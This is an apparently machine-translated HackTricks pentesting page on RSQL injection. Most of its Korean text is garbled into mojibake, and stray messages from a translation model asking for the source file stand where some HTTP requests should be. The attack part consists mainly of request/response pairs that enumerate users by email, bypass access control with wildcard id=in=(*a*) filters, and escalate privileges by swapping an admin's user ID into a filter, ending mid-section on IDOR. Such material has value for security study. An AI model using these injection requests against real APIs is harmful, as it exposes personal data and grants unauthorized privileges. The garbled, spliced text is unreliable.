RSQL Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
What is RSQL?
RSQL์ RESTful API์์ ์ ๋ ฅ์ ํ๋ผ๋ฏธํฐํ๋ ํํฐ๋ง์ ์ํด ์ค๊ณ๋ ์ฟผ๋ฆฌ ์ธ์ด์ ๋๋ค. FIQL (Feed Item Query Language)์ ๊ธฐ๋ฐ์ผ๋ก ํ๋ฉฐ, ์ด๋ ์๋ Mark Nottingham์ด Atom ํผ๋๋ฅผ ์ฟผ๋ฆฌํ๊ธฐ ์ํด ๊ท์ ํ ๊ฒ์ ๋๋ค. RSQL์ ๋จ์์ฑ๊ณผ ๋ณต์กํ ์ฟผ๋ฆฌ๋ฅผ HTTP ์์์ ์ปดํฉํธํ๊ณ URI ํธํ ๋ฐฉ์์ผ๋ก ํํํ๋ ๋ฅ๋ ฅ์ผ๋ก ๋๋ณด์ ๋๋ค. ์ด๋ฌํ ์ด์ ๋ก REST ์๋ํฌ์ธํธ ๊ฒ์์ ์ํ ์ผ๋ฐ์ ์ธ ์ฟผ๋ฆฌ ์ธ์ด๋ก ๋งค์ฐ ์ ํฉํฉ๋๋ค.
Overview
RSQL Injection์ RSQL์ ์ฟผ๋ฆฌ ์ธ์ด๋ก ์ฌ์ฉํ๋ RESTful API ๊ธฐ๋ฐ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ๋๋ค. SQL Injection ๋ฐ LDAP Injection๊ณผ ์ ์ฌํ๊ฒ, ์ด ์ทจ์ฝ์ ์ RSQL ํํฐ๊ฐ ์ ์ ํ ์ ์ ๋์ง ์์ ๋ ๋ฐ์ํ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ๊ถํ ์์ด ์ ์์ ์ธ ์ฟผ๋ฆฌ๋ฅผ ์ฃผ์ ํ์ฌ ๋ฐ์ดํฐ์ ์ ๊ทผ, ์์ ๋๋ ์ญ์ ํ ์ ์๊ฒ ํฉ๋๋ค.
How does it work?
RSQL์ ์ฌ์ฉํ๋ฉด RESTful API์์ ๊ณ ๊ธ ์ฟผ๋ฆฌ๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด:
/products?filter=price>100;category==electronics
์ด๋ ๊ฐ๊ฒฉ์ด 100๋ณด๋ค ํฐ ์ ํ๊ณผ ์นดํ ๊ณ ๋ฆฌ๊ฐ โelectronicsโ์ธ ์ ํ์ ํํฐ๋งํ๋ ๊ตฌ์กฐํ๋ ์ฟผ๋ฆฌ๋ก ๋ณํ๋ฉ๋๋ค.
์ ํ๋ฆฌ์ผ์ด์ ์ด ์ฌ์ฉ์ ์ ๋ ฅ์ ์ฌ๋ฐ๋ฅด๊ฒ ๊ฒ์ฆํ์ง ์์ผ๋ฉด, ๊ณต๊ฒฉ์๋ ํํฐ๋ฅผ ์กฐ์ํ์ฌ ๋ค์๊ณผ ๊ฐ์ ์๊ธฐ์น ์์ ์ฟผ๋ฆฌ๋ฅผ ์คํํ ์ ์์ต๋๋ค:
/products?filter=id=in=(1,2,3);delete_all==true
๋๋ Boolean ์ฟผ๋ฆฌ๋ ์ค์ฒฉ ์๋ธ์ฟผ๋ฆฌ๋ฅผ ์ด์ฉํด ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๋ฐ ์ ์ฉ๋ ์ ์์ต๋๋ค.
์ํ
- ๋ฏผ๊ฐํ ๋ฐ์ดํฐ ๋ ธ์ถ: ๊ณต๊ฒฉ์๊ฐ ์ ๊ทผํด์๋ ์ ๋๋ ์ ๋ณด๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
- ๋ฐ์ดํฐ ์์ ๋๋ ์ญ์ : ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ ์ฝ๋๋ฅผ ๋ณ๊ฒฝํ๋ ํํฐ๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค.
- ๊ถํ ์์น: ํํฐ๋ฅผ ํตํด ์ญํ ์ ๋ถ์ฌํ๋ ์๋ณ์๋ฅผ ์กฐ์ํด ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ด๊ณ ๋ค๋ฅธ ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์ ๊ทผํ ์ ์์ต๋๋ค.
- ์ ๊ทผ ์ ์ด ์ฐํ: ํํฐ๋ฅผ ์กฐ์ํ์ฌ ์ ํ๋ ๋ฐ์ดํฐ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
- ์ฌ์นญ ๋๋ IDOR: ํํฐ๋ฅผ ํตํด ์ฌ์ฉ์ ๊ฐ ์๋ณ์๋ฅผ ์์ ํ์ฌ ์ ์ ํ ์ธ์ฆ ์์ด ๋ค๋ฅธ ์ฌ์ฉ์์ ์ ๋ณด ๋ฐ ์์์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ง์๋๋ RSQL ์ฐ์ฐ์
| ์ฐ์ฐ์ | ์ค๋ช | ์์ |
|---|---|---|
; / and | ๋ ผ๋ฆฌ์ AND ์ฐ์ฐ์. ํ์ ํํฐ๋งํ์ฌ ๋ ์กฐ๊ฑด์ด ๋ชจ๋ ์ฐธ์ธ ๊ฒฝ์ฐ๋ฅผ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | ๋ ผ๋ฆฌ์ OR ์ฐ์ฐ์. ํ์ ํํฐ๋งํ์ฌ ์ ์ด๋ ํ๋์ ์กฐ๊ฑด์ด ์ฐธ์ธ ๊ฒฝ์ฐ๋ฅผ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | equals ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด queryValue์ ์ ํํ ์ผ์นํ๋ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA==queryValue |
=q= | search ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด queryValue๋ฅผ ํฌํจํ๋ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA=q=queryValue |
=like= | like ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด queryValue์ ์ ์ฌํ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA=like=queryValue |
=in= | in ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA๊ฐ valueA ๋๋ valueB๋ฅผ ํฌํจํ๋ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | exclude ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด valueA๋ valueB๋ ์๋ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | not equals ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด queryValue๊ฐ ์๋ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | not like ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด queryValue์ ์ ์ฌํ์ง ์์ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | lesser than ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด queryValue๋ณด๋ค ์์ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | lesser than ๋๋ equal to ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด queryValue๋ณด๋ค ์๊ฑฐ๋ ๊ฐ์ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | greater than ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด queryValue๋ณด๋ค ํฐ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | equal to ๋๋ greater than ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด queryValue์ ๊ฐ๊ฑฐ๋ ํฐ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | from to ์ฟผ๋ฆฌ๋ฅผ ์ํํฉ๋๋ค. columnA์ ๊ฐ์ด fromValue ์ด์์ด๊ณ toValue ์ดํ์ธ myTable์ ๋ชจ๋ ํ์ ๋ฐํํฉ๋๋ค | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
์ฐธ๊ณ : ํ๋ MOLGENIS ๋ฐ rsql-parser ์ ๋ณด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค.
์์
- name==โKill Billโ;year=gt=2003
- name==โKill Billโ and year>2003
- genres=in=(sci-fi,action);(director==โChristopher Nolanโ,actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director==โChristopher Nolanโ or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
์ฐธ๊ณ : ํ๋ rsql-parser ์ ๋ณด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค.
์ผ๋ฐ์ ์ธ ํํฐ
๋ค์ ํํฐ๋ค์ API ์ฟผ๋ฆฌ๋ฅผ ์ธ๋ถํํ๋ ๋ฐ ๋์์ ์ค๋๋ค:
| ํํฐ | ์ค๋ช | ์์ |
|---|---|---|
filter[users] | ํน์ ์ฌ์ฉ์๋ก ๊ฒฐ๊ณผ๋ฅผ ํํฐ๋งํฉ๋๋ค | /api/v2/myTable?filter[users]=123 |
filter[status] | ์ํ(ํ์ฑ/๋นํ์ฑ, ์๋ฃ ๋ฑ)๋ก ํํฐ๋งํฉ๋๋ค | /api/v2/orders?filter[status]=active |
filter[date] | ๋ ์ง ๋ฒ์ ๋ด์ ๊ฒฐ๊ณผ๋ฅผ ํํฐ๋งํฉ๋๋ค | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | ์นดํ ๊ณ ๋ฆฌ ๋๋ ๋ฆฌ์์ค ์ ํ์ผ๋ก ํํฐ๋งํฉ๋๋ค | /api/v2/products?filter[category]=electronics |
filter[id] | ๊ณ ์ ์๋ณ์๋ก ํํฐ๋งํฉ๋๋ค | /api/v2/posts?filter[id]=42 |
์ผ๋ฐ์ ์ธ ํ๋ผ๋ฏธํฐ
๋ค์ ํ๋ผ๋ฏธํฐ๋ค์ API ์๋ต์ ์ต์ ํํ๋ ๋ฐ ๋์์ ์ค๋๋ค:
| ํ๋ผ๋ฏธํฐ | ์ค๋ช | ์์ |
|---|---|---|
include | ์๋ต์ ๊ด๋ จ ๋ฆฌ์์ค๋ฅผ ํฌํจํฉ๋๋ค | /api/v2/orders?include=customer,items |
sort | ๊ฒฐ๊ณผ๋ฅผ ์ค๋ฆ์ฐจ์ ๋๋ ๋ด๋ฆผ์ฐจ์์ผ๋ก ์ ๋ ฌํฉ๋๋ค | /api/v2/users?sort=-created_at |
page[size] | ํ์ด์ง๋น ๊ฒฐ๊ณผ ์๋ฅผ ์ ์ดํฉ๋๋ค | /api/v2/products?page[size]=10 |
page[number] | ํ์ด์ง ๋ฒํธ๋ฅผ ์ง์ ํฉ๋๋ค | /api/v2/products?page[number]=2 |
fields[resource] | ์๋ต์ ๋ฐํํ ํ๋๋ฅผ ์ ์ํฉ๋๋ค | /api/v2/users?fields[users]=id,name,email |
search | ๋ณด๋ค ์ ์ฐํ ๊ฒ์์ ์ํํฉ๋๋ค | /api/v2/posts?search=technology |
์ ๋ณด ์ ์ถ ๋ฐ ์ฌ์ฉ์ ์ด๊ฑฐ
๋ค์ ์์ฒญ์ ์ด๋ฉ์ผ ํ๋ผ๋ฏธํฐ๋ฅผ ์๊ตฌํ์ฌ ํด๋น ์ด๋ฉ์ผ๋ก ๋ฑ๋ก๋ ์ฌ์ฉ์๊ฐ ์๋์ง ํ์ธํ๊ณ , ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์กด์ฌํ๋์ง ์ฌ๋ถ์ ๋ฐ๋ผ true ๋๋ false๋ฅผ ๋ฐํํ๋ ๋ฑ๋ก ์๋ํฌ์ธํธ๋ฅผ ๋ณด์ฌ์ค๋๋ค:
์์ฒญ
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
ํ์ผ ๋ด์ฉ์ด ํฌํจ๋์ด ์์ง ์์ต๋๋ค. src/pentesting-web/rsql-injection.md์ ํ ์คํธ(๋งํฌ๋ค์ด ํฌํจ)๋ฅผ ๋ถ์ฌ ๋ฃ์ด ์ฃผ์ธ์. ๊ทธ๋ฌ๋ฉด ๋์ผํ ๋งํฌ๋ค์ด/HTML ๊ตฌ์กฐ๋ ์ ์งํ ์ฑ ์์ด์์ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฌ๊ฒ ์ต๋๋ค.
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
์ผ๋ฐ์ ์ผ๋ก /api/registrations?email=<emailAccount>๊ฐ ์์๋์ง๋ง, RSQL ํํฐ๋ฅผ ์ฌ์ฉํ์ฌ ํน์ ์ฐ์ฐ์๋ฅผ ํตํด ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ์ด๊ฑฐํ๊ฑฐ๋/๋๋ ์ถ์ถํ๋ ค ์๋ํ ์ ์์ต๋๋ค:
์์ฒญ
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
ํ์ผ src/pentesting-web/rsql-injection.md์ ๋ด์ฉ์ ๋ถ์ฌ๋ฃ์ด ์ฃผ์ธ์. ๋ถ์ฌ๋ฃ์ผ๋ฉด ์ฝ๋, ํ๊ทธ, ๋งํฌ, ํจ์ค ๋ฑ์ ๊ทธ๋๋ก ์ ์งํ๋ฉด์ ์์ด ๋ณธ๋ฌธ์ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฌ๊ฒ ์ต๋๋ค.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
์ ํจํ ์ด๋ฉ์ผ ๊ณ์ ๊ณผ ์ผ์นํ๋ ๊ฒฝ์ฐ, ์ ํ๋ฆฌ์ผ์ด์ ์ ์๋ฒ์ ๋ํ ์๋ต์ผ๋ก ์ผ๋ฐ์ ์ธ โtrueโ, โ1โ ๋ฑ์ ๊ฐ ๋์ ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ๋ฐํํฉ๋๋ค:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Response
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Authorization evasion
์ด ์๋๋ฆฌ์ค์์๋ ๊ธฐ๋ณธ ์ญํ ์ ๊ฐ์ง ์ฌ์ฉ์๋ก ์์ํ๋ฉฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฑ๋ก๋ ๋ชจ๋ ์ฌ์ฉ์ ๋ชฉ๋ก์ ์ ๊ทผํ ์ ์๋ ๊ถํ(์: administrator)์ ๊ฐ์ง๊ณ ์์ง ์์ต๋๋ค:
์์ฒญ
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
ํด๋น ํ์ผ(src/pentesting-web/rsql-injection.md)์ ๋ด์ฉ์ ์ฌ๊ธฐ์ ๋ถ์ฌ๋ฃ์ด ์ฃผ์ธ์. ๊ทธ๋ฌ๋ฉด Markdown ๋ฐ HTML ๊ตฌ๋ฌธ์ ๊ทธ๋๋ก ์ ์งํ๋ฉด์ ์์ด ๋ณธ๋ฌธ์ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฌ๊ฒ ์ต๋๋ค. (์ฝ๋ยท๊ธฐ๋ฒ๋ช ยทํ๋ซํผ๋ช ยทํ๊ทธยท๋งํฌยท๊ฒฝ๋ก ๋ฑ์ ๋ฒ์ญํ์ง ์์ต๋๋ค.)
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
๋ค์ ์ฐ๋ฆฌ๋ filters์ special operators๋ฅผ ์ด์ฉํด users์ ์ ๋ณด๋ฅผ ์ป๊ณ access control์ ์ฐํํ๋ ๋์ฒด ๋ฐฉ๋ฒ์ ์ฌ์ฉํฉ๋๋ค. ์๋ฅผ ๋ค์ด, user ID์ ๋ฌธ์ โaโ๊ฐ ํฌํจ๋ users๋ก ํํฐ๋งํฉ๋๋ค:
Request
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
์๋ณธ ํ์ผ(src/pentesting-web/rsql-injection.md)์ ๋ด์ฉ์ ๋ถ์ฌ ๋ณด๋ด์ฃผ์ธ์. ํด๋น ๋ด์ฉ์ ๋ฐ์์ผ Markdown/HTML ํ๊ทธ๋ ๊ทธ๋๋ก ์ ์งํ๋ฉด์ ์์ด๋ฅผ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฝ๋๋ค.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Privilege Escalation
ํน์ ์๋ํฌ์ธํธ๊ฐ ์ญํ (role)์ ํตํด ์ฌ์ฉ์ ๊ถํ์ ํ์ธํ๋ ๊ฒฝ์ฐ๋ฅผ ๋ฐ๊ฒฌํ ๊ฐ๋ฅ์ฑ์ด ๋งค์ฐ ๋์ต๋๋ค. ์๋ฅผ ๋ค์ด, ํ์ฌ ๊ถํ์ด ์๋ ์ฌ์ฉ์๋ก ์์ ํ๊ณ ์๋ค๊ณ ๊ฐ์ ํด๋ด ์๋ค:
Request
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
์๋ต
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
ํน์ ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ๋ฉด ๊ด๋ฆฌ์ ์ฌ์ฉ์๋ฅผ ์ด๊ฑฐํ ์ ์์ต๋๋ค:
Request
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
์๋ณธ ํ์ผ(src/pentesting-web/rsql-injection.md)์ ๋ด์ฉ์ ์ ๊ณตํด ์ฃผ์ธ์. ๋ด์ฉ์ ๋ถ์ฌ๋ฃ์ผ๋ฉด ์์ฒญํ์ ๊ท์น(๋งํฌ๋ค์ด/HTML ๊ตฌ๋ฌธ ์ ์ง, ์ฝ๋ยท๊ธฐ์ ๋ช ยท๋งํฌยท๊ฒฝ๋ก ๋ฑ์ ๋ฏธ๋ฒ์ญ)์ ๋ฐ๋ผ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฝ๋๋ค.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
๊ด๋ฆฌ์ ์ฌ์ฉ์์ identifier๋ฅผ ์๊ฒ ๋๋ฉด, ํด๋น filter๋ฅผ ๊ด๋ฆฌ์ identifier๋ก ๊ต์ฒดํ๊ฑฐ๋ ์ถ๊ฐํ์ฌ ๋์ผํ privileges๋ฅผ ํ๋ํ๋ privilege escalation์ ์ ์ฉํ ์ ์์ต๋๋ค:
์์ฒญ
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Response
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}
Impersonate or Insecure Direct Object References (IDOR)
In addition to the use of the filter parameter, it is possible to use other parameters such as include which allows to include in the result certain parameters (e.g. language, country, passwordโฆ).
In the following example, the information of our user profile is shown:
์์ฒญ
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
